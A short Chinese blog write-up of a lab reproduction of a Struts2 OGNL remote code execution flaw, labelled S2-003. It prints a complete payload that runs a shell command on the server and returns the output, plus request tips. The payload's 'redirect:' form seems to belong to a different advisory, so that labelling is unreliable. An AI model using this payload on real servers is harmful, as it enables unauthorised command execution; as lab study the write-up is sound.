一、漏洞情况分析
struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(u0023)或8进制(43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开
二、漏洞复现

进入靶场

开始复现
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('cat /flag'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}
上面是我的payload ,要进行url编码放到请求包的消息体中
第一复现失败了,注意要改成POST请求同时在请求头中加入:
Content-Type: application/x-www-form-urlencoded

三、漏洞处置建议
把靶场关了,跟漏洞说“白白”

本文详细描述了Struts2中的S2-003漏洞,涉及OGNL表达式绕过安全限制,复现过程包括使用payload和特定HTTP请求。作者还给出了关闭靶场并加强安全防范的建议。
1495

被折叠的 条评论
为什么被折叠?



